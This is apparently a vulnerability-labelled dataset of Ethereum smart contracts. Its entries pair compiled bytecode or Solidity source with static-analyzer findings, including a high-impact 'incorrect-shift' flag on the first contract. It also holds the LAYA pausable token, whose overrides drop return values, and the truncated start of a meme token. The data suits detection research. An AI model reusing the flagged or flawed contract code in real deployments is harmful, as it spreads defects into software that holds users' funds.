9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008060008060008060008061100061079c8a61171e565b809850819950829a50839b50849c50859d50869e50879f505050505050505050919395975091939597565b611036848484611916565b823b63ffffffff8116156110e457604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906110769033908990889088906004016128a8565b602060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c89190612233565b6001600160e01b03191663150b7a0260e01b146110e457600080fd5b5050505050565b60006110f682610fe8565b509198975050505050505050565b606060006111146105008461171e565b60c081015160e082015160408051610100810190915260db8082529394509192909190612cc16020830139935060005b600454811015611237578461116d61115d836001612a6b565b611168906014612ba7565b611bd8565b6004838154811061118057611180612c7b565b906000526020600020016111a987856008811061119f5761119f612c7b565b6020020151611bd8565b6040516020016111bc9493929190612555565b60405160208183030381529060405294508281141561120257846111df83611bd8565b6040516020016111f09291906125dc565b60405160208183030381529060405294505b8460405160200161121391906126a2565b6040516020818303038152906040529450808061122f90612c20565b915050611144565b50836005838154811061124c5761124c612c7b565b9060005260206000200161125f83611bd8565b604051602001611271939291906124cb565b6040516020818303038152906040529350505050919050565b60408051808201909152601d81527f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000602082015260006112c983611bd8565b6040516020016112d991906127b5565b6040516020818303038152906040529050806112fc6112f785611104565b611cec565b60405160200161130d9291906126cd565b6040516020818303038152906040529050600061132c6105008561171e565b905060005b6004548110156113a457826004828154811061134f5761134f612c7b565b9060005260206000200161136e84846008811061119f5761119f612c7b565b60405160200161138093929190612628565b6040516020818303038152906040529250808061139c90612c20565b915050611331565b508160048260066020020151815481106113c0576113c0612c7b565b906000526020600020016040516020016113db92919061274f565b60408051601f198184030181529190529150816113f982600761119f565b60405160200161140a929190612452565b60405160208183030381529060405291508261142583611cec565b604051602001611436929190612423565b60405160208183030381529060405292505050919050565b60008061145a83610fe8565b909a909950975050505050505050565b606080606080606060008060008a1161148257600080fd5b600054915081156115c5576114978a83612c3b565b156114a35760016114a6565b60005b60ff166114b38b84612aa8565b6114bd9190612a6b565b90508089106114cb57600080fd5b60006114d78a8c612ba7565b90506114e4600183612bc6565b8a1480156114fa57506114f78b84612c3b565b15155b1561150c576115098b84612c3b565b9a505b8a67ffffffffffffffff81111561152557611525612c91565b60405190808252806020026020018201604052801561154e578160200160208202803683370190505b50975060005b8b8110156115be5761158f8a611585576001826115718588612bc6565b61157b9190612bc6565b6104e09190612bc6565b6104e08284612a6b565b8982815181106115a1576115a1612c7b565b6020908102919091010152806115b681612c20565b915050611554565b50506115d9565b506040805160008082526020820190925296505b6115e287610d82565b999d929c50909a5098509195509350915050565b60008060008060008060008060008960405160200161162a91906529ba30ba399d60d11b8152600681019190915260260190565b60405160208183030381529060405280519060200120905061164b81611e53565b9950905061165881611e53565b9850905061166581611e53565b9750905061167281611e53565b9650905061167f81611e53565b9550905061168c81611e53565b60408051602081018490529196509192500160408051601f19818403018152919052805160209091012090506116c3600682612c3b565b9250806040516020016116d891815260200190565b60408051601f1981840301815291905280516020909101209050611705611700606483612c3b565b611ec1565b61171090600a612bc6565b915050919395975091939597565b60008054821061172d57600080fd5b5060009081526001602052604090206002015490565b600061174e82610fe8565b509498975050505050505050565b600061176782610fe8565b509598975050505050505050565b600061178082610fe8565b509398975050505050505050565b33321461179a57600080fd5b611f406117a660005490565b106117b057600080fd5b6000805481806117bf83612c20565b909155506000818152600160208190526040822080546001600160a01b0319163390811782559394509284916117f59043612bc6565b405a604051602001611832949392919093845260609290921b6bffffffffffffffffffffffff191660208401526034830152605482015260740190565b60408051601f1981840301815291815281516020928301206002808601829055336000908152935290822080549193508261186c83612c20565b90915550905061187d816001612a6b565b336000818152600260209081526040808320898452600381018352818420959095558583526001909401905282812087905591518692907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4604051828152849033907f3dec94b8abc8f801eaade1616d3aadd3114b556a284267905e0a053b2df398929060200160405180910390a350505050565b600061192182610d57565b9050600061192e83610904565b9050816001600160a01b0316856001600160a01b03161461194e57600080fd5b336001600160a01b038316148061196d5750336001600160a01b038216145b8061199d57506001600160a01b0382166000908152600260208181526040808420338552909201905290205460ff165b6119a657600080fd5b600083815260016020526040902080546001600160a01b0319166001600160a01b0386811691909117909155811615611a2757600083815260016020819052604080832090910180546001600160a01b03191690555184919081907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925908290a45b6001600160a01b0385166000908152600260209081526040808320868452600301909152812054611a5a90600190612bc6565b6001600160a01b0387166000908152600260205260408120805492935090916001918201918391611a8b9190612bc6565b815260208082019290925260409081016000908120546001600160a01b038b1682526002845282822086835260019081019094529190208190559150611ad2908390612a6b565b6001600160a01b03881660008181526002602081815260408084208785526003810183529084209590955592825290915281549190611b1083612c09565b90915550506001600160a01b0380881660009081526002602081815260408084208a85526003018252808420849055938a1683525290812080549082611b5583612c20565b909155509050611b66816001612a6b565b6001600160a01b0380891660008181526002602090815260408083208c845260038101835281842096909655868352600190950190528381208a90559251899391928c16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a45050505050505050565b60606001825b6009811115611c0657611bf2600a82612aa8565b905081611bfe81612c20565b925050611bde565b60008267ffffffffffffffff811115611c2157611c21612c91565b6040519080825280601f01601f191660200182016040528015611c4b576020820181803683370190505b50905060005b8151811015611ce3576000600a6001838551611c6d9190612bc6565b611c779190612bc6565b611c8290600a612aff565b611c8c9089612aa8565b611c969190612c3b565b9050611ca3816030612a83565b60f81b838381518110611cb857611cb8612c7b565b60200101906001600160f81b031916908160001a905350508080611cdb90612c20565b915050611c51565b50949350505050565b6060815160001415611d0c57505060408051602081019091526000815290565b6000604051806060016040528060408152602001612d9c6040913990506000600384516002611d3b9190612a6b565b611d459190612aa8565b611d50906004612ba7565b90506000611d5f826020612a6b565b67ffffffffffffffff811115611d7757611d77612c91565b6040519080825280601f01601f191660200182016040528015611da1576020820181803683370190505b509050818152600183018586518101602084015b81831015611e0f5760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b93820193909352600401611db5565b600389510660018114611e295760028114611e3a57611780565b613d3d60f01b600119830152611780565b603d60f81b600019830152509398975050505050505050565b806000805b6003811015611ebb5760408051602081018590520160408051601f1981840301815291905280516020909101209250611e92600684612c3b565b611e9d906001612a6b565b611ea79083612a6b565b915080611eb381612c20565b915050611e58565b50915091565b6000806002611ed1846001612a6b565b611edb9190612aa8565b90508291505b81811015611f1457905080600281611ef98186612aa8565b611f039190612a6b565b611f0d9190612aa8565b9050611ee1565b50919050565b6040518061010001604052806008906020820280368337509192915050565b80356001600160a01b0381168114611f5057600080fd5b919050565b80358015158114611f5057600080fd5b600060208284031215611f7757600080fd5b611f8082611f39565b9392505050565b60008060408385031215611f9a57600080fd5b611fa383611f39565b9150611fb160208401611f39565b90509250929050565b600080600060608486031215611fcf57600080fd5b611fd884611f39565b9250611fe660208501611f39565b9150604084013590509250925092565b6000806000806080858703121561200c57600080fd5b61201585611f39565b93506020612024818701611f39565b935060408601359250606086013567ffffffffffffffff8082111561204857600080fd5b818801915088601f83011261205c57600080fd5b81358181111561206e5761206e612c91565b612080601f8201601f19168501612a3a565b9150808252898482850101111561209657600080fd5b808484018584013760008482840101525080935050505092959194509250565b600080604083850312156120c957600080fd5b6120d283611f39565b9150611fb160208401611f55565b600080604083850312156120f357600080fd5b6120fc83611f39565b946020939093013593505050565b6000806000806080858703121561212057600080fd5b61212985611f39565b9350602085013592506040850135915061214560608601611f55565b905092959194509250565b6000602080838503121561216357600080fd5b823567ffffffffffffffff8082111561217b57600080fd5b818501915085601f83011261218f57600080fd5b8135818111156121a1576121a1612c91565b8060051b91506121b2848301612a3a565b8181528481019084860184860187018a10156121cd57600080fd5b600095505b838610156121f05780358352600195909501949186019186016121d2565b5098975050505050505050565b60006020828403121561220f57600080fd5b5035919050565b60006020828403121561222857600080fd5b8135611f8081612ca7565b60006020828403121561224557600080fd5b8151611f8081612ca7565b60008060006060848603121561226557600080fd5b833592506020840135915061227c60408501611f55565b90509250925092565b600081518084526020808501945080840160005b838110156122be5781516001600160a01b031687529582019590820190600101612299565b509495945050505050565b600081518084526020808501945080840160005b838110156122be576122f0878351612334565b6101009690960195908201906001016122dd565b600081518084526020808501945080840160005b838110156122be57815187529582019590820190600101612318565b8060005b6008811015612357578151845260209384019390910190600101612338565b50505050565b60008151808452612375816020860160208601612bdd565b601f01601f19169290920160200192915050565b8054600090600181811c90808316806123a357607f831692505b60208084108214156123c557634e487b7160e01b600052602260045260246000fd5b8180156123d957600181146123ea57612417565b60ff19861689528489019650612417565b60008881526020902060005b8681101561240f5781548b8201529085019083016123f6565b505084890196505b50505050505092915050565b60008351612435818460208801612bdd565b835190830190612449818360208801612bdd565b01949350505050565b60008351612464818460208801612bdd565b80830190507f7b2274726169745f74797065223a224d6f6469666965722056616c7565222c228152663b30b63ab2911d60c91b602082015283516124af816027840160208801612bdd565b627d5d7d60e81b60279290910191820152602a01949350505050565b600084516124dd818460208901612bdd565b7f3c7465787420783d2231302220793d22313530223e4d6f6469666965723a2000908301908152612511601f820186612389565b905061202b60f01b8152835161252e816002840160208801612bdd565b6c1e17ba32bc3a1f1e17b9bb339f60991b60029290910191820152600f0195945050505050565b60008551612567818460208a01612bdd565b6f1e3a32bc3a103c1e91189811103c9e9160811b9083019081528551612594816010840160208a01612bdd565b61111f60f11b601092909101918201526125b16012820186612389565b90506101d160f51b815283516125ce816002840160208801612bdd565b016002019695505050505050565b600083516125ee818460208801612bdd565b6220282b60e81b908301908152835161260e816003840160208801612bdd565b602960f81b60039290910191820152600401949350505050565b6000845161263a818460208901612bdd565b6e3d913a3930b4ba2fba3cb832911d1160891b908301908152612660600f820186612389565b691116113b30b63ab2911d60b11b8152845190915061268681600a840160208801612bdd565b611f4b60f21b600a9290910191820152600c0195945050505050565b600082516126b4818460208701612bdd565b661e17ba32bc3a1f60c91b920191825250600701919050565b600083516126df818460208801612bdd565b80830190507f22696d616765223a22646174613a696d6167652f7376672b786d6c3b626173658152620d8d0b60ea1b60208201528351612726816023840160208801612bdd565b6f222c2261747472696275746573223a5b60801b60239290910191820152603301949350505050565b60008351612761818460208801612bdd565b7f7b2274726169745f74797065223a224d6f646966696572222c2276616c756522908301908152611d1160f11b60208201526127a06022820185612389565b62089f4b60ea1b815260030195945050505050565b6e7b226e616d65223a2253544154202360881b815281516000906127e081600f850160208701612bdd565b7f222c226465736372697074696f6e223a2231303025206f6e2d636861696e2061600f9390910192830152507f6e6420656173696c7920657874656e6461626c65206368617261637465722073602f8201527f7461746973746963732c206d61646520666f7220746865204c6f6f74206d6574604f82015268185d995c9cd94b888b60ba1b606f820152607801919050565b6001600160a01b0385811682528416602082015260408101839052610160810161289f6060830184612334565b95945050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906128db9083018461235d565b9695505050505050565b6080815260006128f86080830187612285565b828103602084015261290a8187612285565b9050828103604084015261291e8186612304565b9050828103606084015261293281856122c9565b979650505050505050565b6101008101610ab08284612334565b60e08152600061295f60e083018a612304565b8281036020840152612971818a612285565b905082810360408401526129858189612285565b905082810360608401526129998188612304565b905082810360808401526129ad81876122c9565b60a0840195909552505060c0015295945050505050565b60c0815260006129d760c0830189612304565b82810360208401526129e98189612285565b905082810360408401526129fd8188612304565b90508281036060840152612a1181876122c9565b6080840195909552505060a00152949350505050565b602081526000611f80602083018461235d565b604051601f8201601f1916810167ffffffffffffffff81118282101715612a6357612a63612c91565b604052919050565b60008219821115612a7e57612a7e612c4f565b500190565b600060ff821660ff84168060ff03821115612aa057612aa0612c4f565b019392505050565b600082612ab757612ab7612c65565b500490565b600181815b80851115612af7578160001904821115612add57612add612c4f565b80851615612aea57918102915b93841c9390800290612ac1565b509250929050565b6000611f808383600082612b1557506001610ab0565b81612b2257506000610ab0565b8160018114612b385760028114612b4257612b5e565b6001915050610ab0565b60ff841115612b5357612b53612c4f565b50506001821b610ab0565b5060208310610133831016604e8410600b8410161715612b81575081810a610ab0565b612b8b8383612abc565b8060001904821115612b9f57612b9f612c4f565b029392505050565b6000816000190483118215151615612bc157612bc1612c4f565b500290565b600082821015612bd857612bd8612c4f565b500390565b60005b83811015612bf8578181015183820152602001612be0565b838111156123575750506000910152565b600081612c1857612c18612c4f565b506000190190565b6000600019821415612c3457612c34612c4f565b5060010190565b600082612c4a57612c4a612c65565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114612cbd57600080fd5b5056fe3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e74657874207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212201a651bb7b2390425509815d9a9f021142c48998367f9af41a130c1da52ab631b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
513
0xa43e0937ff9bb5e072acc64b9ea1d7edf6984d96
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } ///// /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public returns (bool) { paused = false; Unpause(); return true; } } contract PausableToken is StandardToken, Pausable { function transferFrom(address from, address to, uint256 value) whenNotPaused public returns (bool) { super.transferFrom(from,to,value); } function approve(address spender, uint256 value) whenNotPaused public returns (bool) { super.approve(spender,value); } function transfer(address to, uint256 value) whenNotPaused public returns (bool) { super.transfer(to,value); } } /** * @title LAYA Token. */ contract LAYA is PausableToken { string public name = "LAYA Token"; string public symbol = "LAYA"; uint public decimals = 8; string public version = "1.0"; event Burn(address indexed from, uint256 value); function LAYA() public { totalSupply_ = 100000000000 * 10 ** 8; balances[owner] = totalSupply_; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply_ = totalSupply_.sub(_value); // Updates totalSupply Burn(msg.sender, _value); return true; } function () public { revert(); } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f0578063313ce567146102185780633f4ba83a1461022b57806342966c681461023e57806354fd4d50146102545780635c975abb14610267578063661884631461027a57806370a082311461029c5780638456cb59146102bb5780638da5cb5b146102ce57806395d89b41146102fd578063a9059cbb14610310578063d73dd62314610332578063dd62ed3e14610354578063f2fde38b14610379575b341561010657600080fd5b600080fd5b341561011657600080fd5b61011e61039a565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a0360043516602435610438565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de610463565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a0360043581169060243516604435610469565b341561022357600080fd5b6101de610496565b341561023657600080fd5b6101b761049c565b341561024957600080fd5b6101b7600435610522565b341561025f57600080fd5b61011e610610565b341561027257600080fd5b6101b761067b565b341561028557600080fd5b6101b7600160a060020a036004351660243561068b565b34156102a757600080fd5b6101de600160a060020a0360043516610785565b34156102c657600080fd5b6101b76107a0565b34156102d957600080fd5b6102e161082b565b604051600160a060020a03909116815260200160405180910390f35b341561030857600080fd5b61011e61083a565b341561031b57600080fd5b6101b7600160a060020a03600435166024356108a5565b341561033d57600080fd5b6101b7600160a060020a03600435166024356108c9565b341561035f57600080fd5b6101de600160a060020a036004358116906024351661096d565b341561038457600080fd5b610398600160a060020a0360043516610998565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104305780601f1061040557610100808354040283529160200191610430565b820191906000526020600020905b81548152906001019060200180831161041357829003601f168201915b505050505081565b60035460009060a060020a900460ff161561045257600080fd5b61045c8383610a33565b5092915050565b60015490565b60035460009060a060020a900460ff161561048357600080fd5b61048e848484610a9f565b509392505050565b60065481565b60035460009033600160a060020a039081169116146104ba57600080fd5b60035460a060020a900460ff1615156104d257600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60035460009033600160a060020a0390811691161461054057600080fd5b600160a060020a0333166000908152602081905260409020548290101561056657600080fd5b6000821161057357600080fd5b600160a060020a03331660009081526020819052604090205461059c908363ffffffff610c1f16565b600160a060020a0333166000908152602081905260409020556001546105c8908363ffffffff610c1f16565b600155600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104305780601f1061040557610100808354040283529160200191610430565b60035460a060020a900460ff1681565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156106e857600160a060020a03338116600090815260026020908152604080832093881683529290529081205561071f565b6106f8818463ffffffff610c1f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a039081169116146107be57600080fd5b60035460a060020a900460ff16156107d557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104305780601f1061040557610100808354040283529160200191610430565b60035460009060a060020a900460ff16156108bf57600080fd5b61045c8383610c31565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610901908363ffffffff610d4316565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109b357600080fd5b600160a060020a03811615156109c857600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610ab657600080fd5b600160a060020a038416600090815260208190526040902054821115610adb57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610b0e57600080fd5b600160a060020a038416600090815260208190526040902054610b37908363ffffffff610c1f16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b6c908363ffffffff610d4316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610bb2908363ffffffff610c1f16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610c2b57fe5b50900390565b6000600160a060020a0383161515610c4857600080fd5b600160a060020a033316600090815260208190526040902054821115610c6d57600080fd5b600160a060020a033316600090815260208190526040902054610c96908363ffffffff610c1f16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610ccb908363ffffffff610d4316565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600082820183811015610d5257fe5b93925050505600a165627a7a723058202ca276185cea177481e23a7eb5ff9215e1a960d42834aee348a5f3d202d659e70029
{"success": true, "error": null, "results": {}}
514
0x3c05c56788b62f72a5888935fe1a413dd5421524
/** *Submitted for verification at Etherscan.io on 2021-11-22 */ /** 💮資 Suzumiya Inu 資💮 Based on a classic Japanese anime series, Suzumiya Inu, aims to create a club based on the super natural and wizardry! 🧙🏼‍♂️ Little Kyon is the clubs manger and is specialised in running the comics, P2E game, NFT’s and all that is… magic! 🪄 💮資 Tokenomics 資💮 Name: Suzumiya Inu Ticker: Suzinu Max Supply: 1,000,000,000,000 6% Marketing Tax 4% Development Tax 1% Liquidity Launch Style: Fairlaunch 💮資 Socials 資💮 Telegram: https://t.me/suzumiyainu Twitter: https://twitter.com/suzumiyainu Website: https://suzumiyainu.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 